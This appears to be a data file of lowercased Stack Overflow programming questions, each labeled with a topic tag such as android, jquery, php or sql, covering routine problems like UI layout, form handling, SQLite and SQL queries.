android scale image to fit  i have an activity with image and two buttons. i m trying to scale the image  so that two buttons are always visible on screen. currently image isn t downscaled on small phones  which then causes to button 2 to dissapear. how can i achieve that the image will scale so that other content is always visible on page     some images for illustration:    currently on small phones (second button is dissapears as it is off the screen at the bottom):    <a href= http://imgur.com/mf2gx58  rel= nofollow >http://imgur.com/mf2gx58</a>    how it should be (image is downscaled  so both buttons fit):    <a href= http://imgur.com/9diqkqx  rel= nofollow >http://imgur.com/9diqkqx</a>    thanks in advance,android
populating one select box based on the selection in another select box - jquery   i am trying to populate one select box based on the selection made in the first select box. i ve looked online  and found a lot of helpful information on hard-coded options  but i need my options to come from a query (like cfquery in coldfusion). i know that a cfquery is server-side  so i cannot include it in my jquery  but is there another option     i was using the following example:    html:   <pre><code>&lt;select id= counties &gt;     &lt;option&gt; &lt;/option&gt;     &lt;option&gt; somerset &lt;/option&gt;     &lt;option&gt; hertfordshire &lt;/option&gt; &lt;/select&gt;  &lt;select id= towns  disabled= true &gt; &lt;/select&gt; </code></pre>   js:   <pre><code>var countytowns = [     [ bath    bristol ]      [ letchworth    hitchin ] ];  $( #counties ).change(function() {     var county = this.selectedindex - 1;     $( #towns ).empty();     if (county === -1) {         $( #towns ).attr( disabled   true);     } else {         var towns = countytowns[county];         for (var i = 0; i &lt; towns.length; i++) {             $( #towns ).append($( &lt;option&gt;&lt;/option&gt; ).text(towns[i]));         }         $( #towns ).attr( disabled   false);     } }); </code></pre>   what i would need is for towns to be dynamic  and able to be read from a database.     any help is greatly appreciated!    thanks,jquery
visual studio 2012 creates .delete file extension during debug  this is a hard question to google because all the result want to teach me about deleting files with .net code. my issue is that when i start debugging on my website  i get an error saying some dll library cannot be found. what i have discovered by my own digging into the windows folders is that the missing dll library exists  but the file name has been appended with a random character string and then .delete.    <blockquote>    compiler error message: bc2017: could not find library    c:\users\myuser\appdata\local\temp\temporary asp.net   files\vs\2e10144d\af715c24\app_web_wvrswv50.dll   </blockquote>   <a href= https://i.stack.imgur.com/fbyqy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fbyqy.png  alt= app_web_wvrswv50.dll.2fd162c1.delete ></a>    if i change the file name  removing the random characters and .delete file extension  then restart the debugger in visual studio  the website will load fine for an indeterminate number of debug sessions.,asp.net
change svg logo fill color when scrolling on divs with dark background color  i have a webpage with different sections that either in gray background or white background (see this <a href= https://jsfiddle.net/ajnoguerra/dcm9mztv/  rel= nofollow noreferrer >fiddle</a>).     i want my inline svg logo to change fill color according the background as i scroll down the page.     my svg logo is currently positioned as fixed at the top left of my webpage.     i found sources like the two codes below and tweaked according to my requirement but it did not work. it only changed ones.    here s the sample code:   <pre><code>$(document).ready(function(){     $(window).scroll(function(){     var bgsolid_pos = $( .bg-solid ).offset().top;     var bgsolid_height = $( .bg-solid ).height();     var menu_pos = $( .site-logo ).offset().top;     var menu_height = $( .site-logo ).height();     var scroll = $(window).scrolltop();     console.log( solid  bgsolid_pos);     console.log( menu  menu_pos);     console.log( scroll  scroll);      if(menu_pos &gt;= (bgsolid_pos + bgsolid_height)) {         $( .logo-svg ).addclass( logo-svg-dark );      }     else {         $( .logo-svg ).removeclass( logo-svg-dark );      }    }); }); </code></pre>   and another:   <pre><code>$(window).on( scroll  function(){         stop = math.round($(window).scrolltop());     if (stop &gt; bgsolid) {         $( .logo-svg ).addclass( logo-svg-dark );     } else {         $( .logo-svg ).removeclass( logo-svg-dark );    } }); </code></pre>   both codes are working but they only apply ones.,jquery
page is not allowed here because it does not extend class  system.web.ui.masterpage   i am creating a website using master page  which works fine. but after i add entity data model  and some retrieval code into the login page  it comes some errors    the code is like    <pre><code>var tombstonequery = from t in crnnsupcontext.tombstones.include( provstate )                              where t.regnumber == _username                              select t; list&lt;tombstone&gt; tombstoneresult = tombstonequery.tolist(); cache.insert( tombstone   tombstoneresult); </code></pre>   the first error is happened when i try to put the list into the cache  the error says  thread was being aborted. after i set cache.insert statement as a commend  this error was gone  but the next one came   <pre><code>parser error  description: an error occurred during the parsing of a resource required to service this request. please review the following specific parse error details and modify your source file appropriately.   parser error message:  onlinerenewal.renewal  is not allowed here because it does not extend class  system.web.ui.masterpage .  source error:    line 1:  &lt;%@ master language= c#  autoeventwireup= true  codebehind= renewal.master.cs  inherits= onlinerenewal.renewal  %&gt; line 2:   line 3:  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; </code></pre>   the renewal is the master page which i didn t do anything with it.  anyone can help  thanks a lot    the code for renewal page. (there is noting there)   <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.ui; using system.web.ui.webcontrols;   namespace onlinerenewal { public partial class renewal : system.web.ui.masterpage {     protected void page_load(object sender  eventargs e)     {      } } }     &lt;%@ master language= c#  autoeventwireup= true  codebehind= renewal.master.cs  inherits= onlinerenewal.renewal  %&gt; </code></pre>,asp.net
is using class_replacemethod to implement ios4.x features in a ios3.x runtime sane   i want to use some of the ios 4.x things in ios 3.x.    i know how to implement them  i assume my implementation is slower or might have more bugs then apple s so i want to use apple s any time it is available.    is doing something like this sane:   <pre><code>@implementation nsdictionary (nsdictionary_4)  void compatability_method(class class  sel newer_version_selector  sel compatability_selector) {     method existingmethod = class_getinstancemethod(class  newer_version_selector);     if (!existingmethod) {         method compatabilitymethod = class_getinstancemethod(class  compatability_selector);         class_replacemethod(class  newer_version_selector  method_getimplementation(compatabilitymethod)  method_gettypeencoding(compatabilitymethod));     } }  +(void)load {     if (self == [nsdictionary class]) {         compatability_method(self  @selector(enumeratekeysandobjectsusingblock:)  @selector(four_enumeratekeysandobjectsusingblock:));     } }  -(void)four_enumeratekeysandobjectsusingblock:(void (^)(id key  id obj  bool *stop))block {     bool stop = false;      for (id key in self) {         block(key  [self objectforkey:key]  &amp;stop);         if (stop) {             break;         }     } }   @end </code></pre>   if it is a bad idea  what would be better     (if it is sane  but the code is a bit off  i would like to know that too...but i m more interested to know if the entire idea is decent  or if this entire sort of construct should be avoided),objective-c
is it possible for multiple uiviewcontrollers to share the same code   i m making a app with mutiple view controllers  one moves on to the next and once the user moves on to the next view there is no need to go back.    i have created the .m .h files for the view controllers that i need to play sounds on.    what i would like help with is disabling copy/paste/define in uitextview which i know how to do (and works fine) using   <pre><code>@interface myuitextview : uitextview { } @end  @implementation myuitextview - (bool)canbecomefirstresponder { return no; } </code></pre>   is there a way of using this code once with out creating .m .h files for each and every uiveiwcontroller  or will xcode allow me to assign the same name to more than one uiveiwcontroller and use the same piece of code     is it possible to write it into the appdelegate for every uitextview on different controllers     thanks for any help in advance :),objective-c
how to refresh data without screen flashing angularjs  i am creating a chat based on simple get and post using some php and angularjs. since a chat requires data to be refreshed constantly   i was wondering what is the best way to refresh data  how i did it was    <pre><code>$scope.loaddata = function () {       $http.get( php/getchatmessages.php )     .then(         function (response) {             $scope.data.messages = [];             $scope.data.messages = response.data;              $scope.evid = $scope.data.messages[0].eventid;         }          function (response) {             alert(response.data);         }     );            $interval(function(){$scope.loaddata()} 5000); }; </code></pre>   this not only cause screen flickers  but the speed of the refresh speeds up over time  taking a lot of processor power and slowly crashes the browser.,angularjs
dark background overflows rounded button corners in css  the problem is when i set black button background  white color  white 4px border and then <code>border-radius</code> say 5px the black pieces appear in the corners of the button. it happens with <code>&lt;input&gt;</code> and <code>&lt;button&gt;</code> elements. <code>&lt;div&gt;</code> tags don t suffer from it.<br> is it normal and does somebody know how it could be fixed     <img src= https://s14.postimg.org/q8bk948ld/sample.png  width= 283  height= 200 />     <a href= https://codepen.io/mortalis/pen/mpropg  rel= nofollow noreferrer >codepen</a>    html:   <pre><code>&lt;div id=a&gt;     &lt;div id=b&gt;button&lt;/div&gt;     &lt;br&gt;     &lt;input id= but1  type= button  value= button  /&gt;     &lt;button id= but2 &gt;button&lt;/button&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>div#a {     background:rgb(255  250  204);     width:200px;     height:120px;     padding:10px; } div#b {     border: 4px solid white;     padding: 5px;     background: black;     width: 70px;     color:white;     border-radius: 5px;     text-align:center; } #but1 {     border: 4px solid yellow;     padding: 5px;     background: black;     width: 70px;     color:white;     -moz-border-radius: 5px;     border-radius: 5px;     text-align:center; } #but2 {     border: 4px solid white;     padding: 5px;     background: black;     width: 70px;     color:white;     -moz-border-radius: 5px;     border-radius: 5px;     text-align:center; } </code></pre>,css
program received signal: “0”. warning: check_safe_call: could not restore current frame  <strong>require urgent help!:(</strong>    i m developing a game and i m dealing with around 20 images at the same time. as per my knowledge  i m allocating and deallocating the images at right places. game runs for around 15 min fine but quits with an error message:    <strong> program received signal: “0”. warning: check_safe_call: could not restore current frame </strong>    i also tried debugging with memory leak tools provided in xcode but could not find any issue with memory management or any increase in memory size  <strong>on simulator it works fine but not on the device.</strong>     i m confused wht can be the issue.     any help is appreciated. thanx in advance,objective-c
android sqlite double variable giving garbage data on fetch  i have a table defined as this   <pre><code>string currencytablequerystring =  create table if not exists               + currency_name +   (  + currency_row_id             +   integer primary key autoincrement not null               + currency_usd +   double   + currency_inr +   double               + currency_eur +   double   + currency_gbp +   double              +  ); ; </code></pre>   i store data in this table from a json. as an example  i have stored this data   <pre><code>currency_usd = 1.0 currency_inr = 53.997369 currency_eur = 0.764879 currency_gbp = 0.658136 </code></pre>   in my next activity  i am fetching this data from the db   <pre><code>ccursor = db.query(currency_name  new string[] { currency_row_id  currency_usd  currency_inr              currency_eur  currency_gbp }  null  null  null  null  null); </code></pre>   i always get the wrong data when i fetch. it gives me very high numbers in all my fields. i am not sure what i am doing wrong. (p.s. i am new to java and android programming).    this was the output from the fetch when the above numbers were inserted   <pre><code>currency_usd = 1.072693248e9 currency_inr = -1.0925335e8 currency_eur = -1.80473634e8 currency_gbp = 9.1173113e7 </code></pre>   can someone please guide me to what is going wrong here     this is my fetch cursor.   <pre><code>arraylist&lt;arraylist&lt;object&gt;&gt; dataarrays = new arraylist&lt;arraylist&lt;object&gt;&gt;();      cursor ccursor;      try {         // ask the database object to create the cursor.         ccursor = db.query(currency_name  new string[] { currency_row_id  currency_usd  currency_inr                  currency_eur  currency_gbp }  null  null  null  null  null);          // move the cursor s pointer to position zero.         ccursor.movetofirst();          // if there is data after the current cursor position  add it         // to the arraylist.         if (!ccursor.isafterlast()) {             do {                 arraylist&lt;object&gt; datalist = new arraylist&lt;object&gt;();                  datalist.add(ccursor.getlong(0));                 datalist.add(ccursor.getdouble(1));                 datalist.add(ccursor.getdouble(2));                 datalist.add(ccursor.getdouble(3));                 datalist.add(ccursor.getdouble(4));                  dataarrays.add(datalist);             }             // move the cursor s pointer up one position.             while (ccursor.movetonext());         }         ccursor.close();     } catch (sqlexception e) {         log.e( db error in currency retreive all   e.tostring());         e.printstacktrace();     } </code></pre>,android
"javascript - removing array values between a range  i want to remove all the null values between the first number and the end number.    my code seems far too complicated.    love to see some more flexible minds at it.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>let values = [null  null  null  1  2  null  3  null  4  null  null  5  6  7  null  null  null  null];
 
 let startindex = values.findindex(n =&gt; (n !== null))
 
 let endindex = values.length - 1;
 for ( ; endindex &gt; 0; endindex--) {
   if (values[endindex] !== null) break;
 }
 
 let arraycopy = values.slice();
 
 for(let i = endindex; i &gt; startindex; i--) {
   if (values[i] === null) {
     arraycopy.splice(i  1);
   }
 }
 
 console.log(arraycopy)</code></pre>
 </div>
 </div>",javascript
in angular modal  the function bind to ng-click can t access new data binded from html input  the following code snippet is a controller used for $modal.open()  i don t know why the ok function can t get latest data changed by data binding.   <pre><code>mymodule.controller( modalctrl   function($scope  $modalinstance) {      $scope.job =  student ; // changed by html radio button  default is  student       // called by a button with ng-click= ok()  in modal view     $scope.ok = function() {          // no matter what job i changed  the $scope.job always is default value  student          $modalinstance.close({             selected_job : $scope.job         });     }; }); </code></pre>   here is the html snippet   <pre><code>&lt;script type= text/ng-template  id= sendtomodal.html &gt; &lt;div&gt;         &lt;div class= modal-header &gt;             &lt;h4&gt;job&lt;/h4&gt;         &lt;/div&gt;         &lt;div class= modal-body &gt;             &lt;label class= radio-inline &gt;                 &lt;input type= radio  name= joboption                      data-ng-model= job                      data-ng-value= student &gt;student             &lt;/label&gt;             &lt;label class= radio-inline &gt;                 &lt;input type= radio  name= joboption                      data-ng-model= job                      data-ng-value= teachch &gt;teacher             &lt;/label&gt;         &lt;div class= modal-footer &gt;             &lt;button class= btn btn-primary  data-ng-click= ok() &gt;confirm&lt;/button&gt;             &lt;button class= btn btn-warning  data-ng-click= cancel() &gt;cancel&lt;/button&gt;         &lt;/div&gt; &lt;/div&gt; &lt;/script&gt; </code></pre>,angularjs
the right way to architect a filter for the iphone   i m not proud of this  but this is the current design of our program.      i have a filter object that looks pretty much like this:   <pre><code>#import  filter.h   @implementation filter  @synthesize dataset = _dataset; @synthesize filterlist = _filterlist; @synthesize typeoffilter = _typeoffilter; @synthesize isfilteron;  - (id)initwithdataset:(nsarray *)array {     self = [super init];     if (self) {         if ([array count] &gt; 0) {             self.dataset = array;             [self createfilterlist];         }     }     return self; }  - (void)createfilterlist {     nsmutabledictionary *dict = [[nsmutabledictionary alloc] initwithcapacity:[_dataset count]];     for (nsstring *str in _dataset) {         if (![str isequaltostring:@ null ]) {             [dict setobject:[nsnumber numberwithbool:no] forkey:str];         }     }     self.filterlist = dict;     [dict release]; }  - (bool)isfilteron {     nsarray *filters = [_filterlist allkeysforobject:[nsnumber numberwithbool:yes]];     if ([filters count] &gt; 0) {         return yes;     }     else {         return no;     } }  - (nsarray *)getcurrentfilters {     return [_filterlist allkeysforobject:[nsnumber numberwithbool:yes]]; }  - (void)resetfilter {     for (nsstring *key in [_filterlist allkeys]) {         [_filterlist setobject:[nsnumber numberwithbool:no] forkey:key];     } }  @end </code></pre>   so in our model  we basically create a typeoffilter for something we want to filter on.  for example  we can create a @ name  filter to filter on name in our database.  all the filter objects are members of our model class.  i didn t really know of another way to do this at the time and i m looking at how to refactor for the future.  essentially my filter is just a dictionary whose value is yes for items that we want filtered on.      in our mainviewcontroller  we present the user with the option to filter on different things like name in a popover.  when a selection is made  the filter object is updated by something like this:   <pre><code>    [((filter *)[modelclass.filterdictionary objectforkey:@ namefilter ]).filterlist setobject:[nsnumber numberwithbool:yes] forkey:key]; </code></pre>   in our modelclass  there is a dictionary of filter objects.  so based on the user s selection  we get the appropriate filter object by the name  and set yes or no based on their selection.      also when a selection is made in the popover that presents the options to the user to filter on  an action is made to a dofilter method that basically redraws the mainviewcontroller s content with the appropriate items.    i personally hate this design and was wondering the different ways i can improve on it.  thank you.,iphone
what is the difference between an ordinary exe file and the exe file generated from .net windows applications  what is the difference between an ordinary exe file and the exe file generated from .net windows applications.,.net
javascript with html set image position error  i have the follow code  it show the picture but don t set the position  where is the problem    <pre><code>                  document.write( &lt;img align= center   +                  style=position:absolute; left: 400; top: 100   +                  src= http://www.uairobotics.com/tomada/images/farol.png &gt;   +                 &lt;br&gt;&lt;br&gt; );  </code></pre>   thank you    roberto,html
how to show current location when moving onthe map on polyline same as navigation turn by turn in android  i create a map and get route from google map and show polyline on the map.and then get current location and show on the map but can not show marker(current location) on along polyline when moveing. hoe to set camera position behind the marker turn by turn same as this picture     <a href= https://i.stack.imgur.com/qovow.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qovow.png  alt= enter image description here ></a>,html
use of  multipart/form-data   does the <code>multipart/form-data</code> value of the <code>enctype</code> <code>&lt;form&gt;</code> attribute has any use except for in forms that contain a <code>&lt;input type= file  /&gt;</code>,html
form_tag url based on select tag   this seems like it should be easy but not clear from the api doc how to mkae it work:    i have a form with a collection_select:   <pre><code>&lt;%=form_tag(project_path) do %&gt;     &lt;%= select_tag(:project_name  options_from_collection_for_select(project.all  :id  :name))%&gt;     &lt;%= submit_tag( go ) %&gt;   &lt;% end %&gt; </code></pre>   what i want to do here is navigate to the show action of the for the project selected when the user presses the  go  button created by the submit tag.    the problem with the above code is that i can t figure out how to get the selected :id into the url when the user presses  go     tbe url generated is project/show  but it should be project/show/:id    not sure how to do this.    (rails 5),ruby-on-rails
benefits of session regenerate   i am currently using sessions to handle users data  for example:   <ul> <li>username </li> <li>password</li> <li>name</li> <li>permission</li> </ul>   the thing i am wondering about is  if the data is encrypted before sent to session  would regenerate be pointless  i currently have it setup to delete old session from tmp and create a new one.    could someone explain how it may benefit me i find with documentation they like to make features seem so important  much help appreciated! :),php
change text on jquery-loadingmodal  is there a way to change the text that s being shown when using the <a href= https://www.npmjs.com/package/jquery-loadingmodal  rel= nofollow >jquery-loadingmodal</a> plugin  while the modal is loaded,jquery
why is this input value undefined with jquery  i m creating multiple form retrieving data from jquery. after that i want to work with individual form without sending the form but  i m having problems retrieving the value of the inputs. they are all undefined in the alert tag. paste my code. thanks for all   <pre><code>&lt;script&gt; $( #select_idioma ).bind( click  function(){     cargatraducciones($( #select_idioma ).val()); }); function cargatraducciones(idi){     $( #listadopalabras ).hide( fast );     $( #cargando ).fadein(1000);         $.ajax({             type:  post               url:  ../includes/ajax.php               datatype :  json               data:  opc=traducciones&amp;idi= +idi              success: function(datos){                 crealistado(datos idi);             }         });     }  function crealistado(datos idi){     var html =  ;     if(datos.length ==0){         html += &lt;div id= errors &gt;no hay datos disponibles para mostrar&lt;/div&gt; ;     }else{         html += &lt;h2&gt;listado de palabras a traducir&lt;/h2&gt; ;         html +=  &lt;div class= nota &gt;las palabras pendientes para traducir  aparecen con el texto traducir. escriba la traducción y pulse en guardar.&lt;/div&gt; ;         for(i=0; i &lt; datos.length; i++){             html +=  &lt;form style= background: ;             if(datos[i].valor ==  traducir ){                 html +=  red; ;             }else{                 html +=  #f2f2f2; ;             }             html+=  border-radius:5px; margin-top:5px;margin-bottom:5px; padding:5px 10px  action =   method=  &gt; ;             html +=  &lt;a href= eliminar.php tipo=traduccion&amp;id= +datos[i].id+   onclick=\ return confirm( ¿desea elminiar la palabra  +datos[i].nombre+   )\ &gt;&lt;img src= ../imatges/iconos/delete_24.png /&gt;&lt;/a&gt; ;              html +=  &lt;input style= display:none  type= text  name= idt  value=  +datos[i].id+  /&gt; ;              html +=  &lt;div style= width:700px &gt; +datos[i].nombre+ &lt;/div&gt; ;             html +=  &lt;input style= width:700px  type= text  name= valor +i+   id= valor +i+   value=  +datos[i].valor+  /&gt; ;              html +=  &lt;input style= margin-left:10px  type= button  class= button +i+   value= modificar  /&gt; ;             html +=  &lt;/form&gt; ;             html +=  &lt;hr style= margin:0; margin-bottom:2px  /&gt; ;         }     }     $( #cargando ).hide( fast );     $( #listadopalabras ).html(html);     $( #listadopalabras ).fadein(1000);     var total = datos.length;     procesa(total); } function procesa(total){     for ( i=0; i&lt;total; i++){       $( .button +i).click(function() {           alert($( input#valor +i).val());           // validate and process form here           var valor = $( input#valor +i).val();           if (valor ==   ) {               alert( debe escribir un texto para la traducción );             $( input#valor +i).focus();               return false;           }         alert( clicado );       });       } }  &lt;/script&gt; </code></pre>,jquery
how to loop forms in one page based on the number of entries  i am doing a crime management web application using php.    the page is like this when run it it gives a chance to enter details about the case then click on submit button it brings another form on the same page.    that form will ask you to enter the number of accused involved if lets say for instance you have two accused it will bring another form on the same page that will allow you to enter personal data bout accused number one ...then click on submit button it bring you another form that asks you to enter the number of crimes accused number one has committed...if lets say again he committed 3 crimes then it brings a select form which allows you to select the crime and submit 3 times.     after the third entry it will go back again and give you a form to enter personal details about accused number two....same process as accused one an when you are done it takes you back to the initial point where it would be ready to enter a new case    i pray its clear....please help     this is my earlier code ...ready to run    <pre><code>&lt; php     session_start();     if(isset($_session[ start ]))     {         switch($_session[ now ])         {             case 0:                 $_session[ now ]++;                 echo      &lt;p style= text-align:center; &gt;&lt;h1&gt; ==welcom page  you need to start here==&lt;/h1&gt;&lt;/p&gt;                         &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;                         &lt;form action= index.php   method= post  name= page &gt;                         &lt;p h3&gt;please enter your max number....                              &lt;input type= number  name= max  style= width:140px;  required= required /&gt;                             &lt;input type= submit  name= go &gt;&lt;/p&gt;                         &lt;/form&gt; ;                 break;             case 1:                 if(isset($_post[max]))                 {                     $_session[ end ]=$_post[max];                     echo  &lt;p style= text-align:center; &gt;&lt;h2&gt; sequence 1&lt;/h1&gt;&lt;/p&gt;                             &lt;form action= index.php   method= post  name= page &gt;                                 value 1: &lt;input type= text  name= x  style= width:140px; /&gt;&lt;br&gt;                                 value 2: &lt;input type= text  name= y  style= width:140px; /&gt;&lt;br&gt;                                 value 3: &lt;input type= text  name= z  style= width:140px; /&gt;&lt;br&gt;                                 &lt;p style= text-align:center &gt;&lt;input type= submit  name= next &gt;                             &lt;/form&gt; ;                     $_session[ now ]++;                 }                 else                 {                     if($_session[ now ]==1)                     {                         $_session[ now ]=0;                         header(  location: index.php );                         exit;                     }                 }                     break;             default:                 if($_session[ now ]&lt;=$_session[ end ])                 {                     $x=$_session[ now ];                     $_session[ now ]++;                     echo  &lt;p style= text-align:center; &gt;&lt;h2&gt; sequence $x&lt;/h1&gt;&lt;/p&gt;                         &lt;form action= index.php   method= post  name= page &gt;                             value 1: &lt;input type= text  name= x  style= width:140px; /&gt;&lt;br&gt;                             value 2: &lt;input type= text  name= y  style= width:140px; /&gt;&lt;br&gt;                             value 3: &lt;input type= text  name= z  style= width:140px; /&gt;&lt;br&gt;                             &lt;p style= text-align:center &gt;&lt;input type= submit  name= next &gt;                         &lt;/form&gt; ;                 }                 else                 {                     echo  &lt;p style= text-align:center; &gt;&lt;h2&gt; successful  please refresh the page to restart your sequence ...&lt;/h1&gt;&lt;/p&gt; ;                     session_destroy();                 }         }     }     else     {         $_session[ start ]=true;         $_session[ now ]=0;         header(  location: index.php );         exit;     }  &gt; </code></pre>,php
how to use dotnet pack selectively on a solution  i have a solution  <strong>foo.sln</strong>. all libraries within are sdk projects. however only one of them should be <strong>packed</strong>    by default    <pre><code>dotnet pack </code></pre>   tries to pack all projects. there is no exclude filter or include filter for that matter. what is the recommended process,.net
change the text of the clicked button  i need a way to toggle the text inside (this) though this code i have doesn t do it right and i cant get why. the text to be toggled is inside the show class.   <pre><code>  $( .show ).on( click   function(e) { e.preventdefault(); $(this).closest( .less ).next( .more ).toggle(function (){         $(this).text( change text )         .stop();     }  function(){         $(this).text( change text again )         .stop();     });  }); </code></pre>,jquery
how to make the table view to scroll till the last row in the table  i have some 10 rows in my table. i can able to scroll the table view  but the scroll is not fixed. when i leave the scroll the table is again hiding the last row. can any one help me out in this issue.    thanks in advance,objective-c
reflectionobject vs. cast to array vs. get_object_vars for retrieving public vars  i need to get the public properties of an object; is there a preferred method for doing this  i m wary of using <code>reflectionobject#getproperties()</code> because of the reflection api overhead  but between casting the object to an array and using <code>get_object_vars()</code>  is there an established standard or clear performance gain for one or the other     to be clear  i realize that casting the object to an array will give me <em>all</em> the object s properties  but as protected properties will be prepended with <code>*</code> and private properties will be prepended with the class name  it would still be effective for a quick <code>in_array($property  $properties);</code> call.,php
change selected class to first instead of last date  i want my first date to be the selected one but as it is now the last one is the selected one  i ve managed to get the years in the right order but the only problem im having now is getting the selected class on the first date instead of the ast one.   <pre><code>&lt;div class= timeline &gt; &lt; php $tl = unserialize($properties[ timeline ]); $years = array(); foreach($tl as $t) {     $e=explode( -   $t[ date ]);     $years[$e[2]][strtotime($t[ date ])]=$t; } ksort($years);  &gt;  &lt;div class= events-wrapper &gt;     &lt;div class= events &gt;         &lt;ol&gt;             &lt; php             $i=1;             foreach($years as $y=&gt;$t)             {                 echo  &lt;li&gt;&lt;a href= #0  data-date= 01/01/ .$y.   .($i==count($years)   class= selected  :  class= older-event  ). &gt; .$y. &lt;/a&gt;&lt;/li&gt; ;                 $i++;             }              &gt;         &lt;/ol&gt;          &lt;span class= filling-line  aria-hidden= true &gt;&lt;/span&gt;     &lt;/div&gt; &lt;!-- .events --&gt; &lt;/div&gt; &lt;!-- .events-wrapper --&gt; </code></pre>   whats the best way to do this,php
detecting whether a coordinate falls within a predefined area in android google maps  i am writing an app that has functionality to select gps markers based off of their location. how is it possible to test whether a gps coordinate falls within a given area  i already have the area data  available in geojson  kml  and shapefile. however  after browsing the api  i cannot find any method that tells me how to test if a point is within an area.    thanks.,android
how can i replace a javascript for loop with a foreach and get access to the index for each iteration   i have this javascript:   <pre><code>factory.remove = function (arr  property  num) {     for (var i = arr.length - 1; i &gt;= 0; --i) {         if (arr[i][property] === num)             arr.splice(i  1);     } }; </code></pre>   can someone tell me how i could change the for loop to use a .foreach instead  what i am not sure about is how in the foreach i can access the <code>i</code>    also if i use the foreach will i be able to do a splice of that array or is it not possible,javascript
creating files with random content  is there any way to create ten random files for each different value of the variable n. i want to have five values of n between the space 100 50000. the differnce between the values should be at least 5000. so for each value of n  i want to create 10 different files and write random values to them. for example the file format can be like this:   <pre><code>0  2 5 12 8 23 10 53 56 98 ... </code></pre>,java
sql select query  beginner  i have this:   <pre><code>select      ipaddress      urlmethod      count(urlmethod) as occurrence from      accesslog2 where      urlmethod like  %login%  group by      ipaddress  urlmethod </code></pre>   my problem is: i need the <code>ipaddresses</code> to only show up once but currently they show up duplicate times in the output.    i am writing a sql <code>select</code> query that lists each ip address and the number of times each ip address has an associated <code>urlmethod</code> that includes the word “login”. each ip address value should only be listed once in the output.,sql
invalid selector sent to instance  i am creating a applications for teachers that will store courses and students as well as keep track of grades. right now it is set up in a data model that stores the courses in an array. the courses are objects that include an array of students and assignments. i have a tableview of all the courses that transitions to a tableview of students. in the courses detail view i have a tableview cell that transitions to a third table view for the assignments. my problem is occurring here. when i try to add an assignment to the tableview i am getting the error:   nsinvalidargumentexception   reason:  -[__nsarrayi addobject:]: unrecognized selector sent to instance 0x6b38620 ..    here is some code that i believe may contain the problem.    course detail view controller:   <pre><code>- (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender { if ([segue.identifier isequaltostring:@ assignmenttable ]) {      assignmentviewcontroller *controller = segue.destinationviewcontroller;     controller.checklist = checklisttoedit;  }   - (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {     if(indexpath.row == 2)     {     [self performseguewithidentifier:@ assignmenttable  sender:checklisttoedit];       } } </code></pre>   assignment view controller:   <pre><code>- (void)editassignmentviewcontroller:(editassignmentviewcontroller *)controller     didfinishaddingitem:(assignment *)item { int newrowindex = [self.checklist.assignments count];  [self.checklist.assignments addobject:item];  nsindexpath *indexpath = [nsindexpath indexpathforrow:newrowindex insection:0]; nsarray *indexpaths = [nsarray arraywithobject:indexpath]; [self.tableview insertrowsatindexpaths:indexpaths withrowanimation:uitableviewrowanimationautomatic];   [self dismissviewcontrolleranimated:yes completion:nil]; } </code></pre>   assignment detail view controller:   <pre><code>- (ibaction)done { if (assntoedit == nil) {     assignment *item = [[assignment alloc] init];     item.texta = self.textfielda.text;      [self.delegate editassignmentviewcontroller:self didfinishaddingitem:item];   } else {     self.assntoedit.texta = self.textfielda.text;      [self.delegate editassignmentviewcontrollerdidcancel:self];  }  } </code></pre>,objective-c
confirm message at run time in asp.net  i need to show confirm message box but after some calculations in code  how can i show confirm message at run time  thanks,asp.net
asp.net json .net objects  i have this class.    <pre><code>using system; using system.collections.generic; using system.linq; using system.web;  namespace testconnect {     public class userinfo     {         public string id { get; set; }         public string name { get; set; }         public string picture { get; set; }         public string bio { get; set; }         public string quotes { get; set; }         //public hometowninfo from { get; set;          public from hometown { get; set; }         public string relationship { get; set; }         public string gender { get; set; }         public list&lt;education&gt; data { get; set; }      }      public class education     {          public from school { get; set; }         public from year { get; set; }         //public from [] concentration { get; set; }         public string type { get; set; }      }  }  public class hometowninfo {     public string id { get; set; }     public string homename { get; set; } } </code></pre>   now trying to do    <pre><code>url =  https://graph.facebook.com/me fields=education&amp;access_token=  + oauth.token; json = oauth.webrequest(oauthfacebook.method.get  url  string.empty); education edu = js.deserialize&lt;education&gt;(json); </code></pre>   <code>foreach(education_history edu_history in education.data)</code> gives an error   <blockquote>    object reference not set to an   instance of an object. description: an   unhandled exception occurred during   the execution of the current web   request  </blockquote>   thanks  user,asp.net
adding a `;` at the end of while loop <pre><code>#include&lt;stdio.h&gt;  int main() {     int i=5;     while(i--)     {         printf( %d\n  i);     };     printf( out of loop\n );     return 0; } </code></pre>   this code works fine! does <code>;</code> at the end of a loop not mean anything  so even if we add it  we don t have any problems  just curious! i think adding <code>;</code> at the end of a loop doesn t make any sense.,c
tic tac toe javascript reset button not working  hi i am trying to create a reset function - i have created a for loop that basically on click will take the values that are in  input  class and return an empty string.    what am i doing wrong    <pre><code>function reset (){     for (i=0 ; 1 &lt; cell.length ; i ++){         document.getelementsbyclassname( input ).addeventlistener( click ).value =       } </code></pre>,javascript
find record where subject code is not zero for that class  this is student table.   <pre><code>studentid classid subjectcode 101       201     0 101       201     1 101       301     1 101       401     0 </code></pre>   suppose i making final marksheet for his/her course.student can attend different class.i want to find out the row where student does not have subjectcode 0 for that class.like this   <pre><code>   101       301     1 </code></pre>   how to do that  if i do like this   <pre><code>select studentid classid subjectcode from student where operator &lt;&gt; 0 </code></pre>   that give this record also   <pre><code>101 201 1    .i don t want that.because it has 0 for that class 201. </code></pre>,sql
regarding doing research on a main method()  i was doing an interesting research today in my below code see how many ways we can express the public static void    <pre><code> //public static void main (string args[])correct     //public static void main (string []args)//correct     //public static void main(string...args)//correct     //public static void main(string... args)//correct     public static void main(string[]... args)   //correct      static  public  void main (string args[]) </code></pre>   please advise is there any other way too.,java
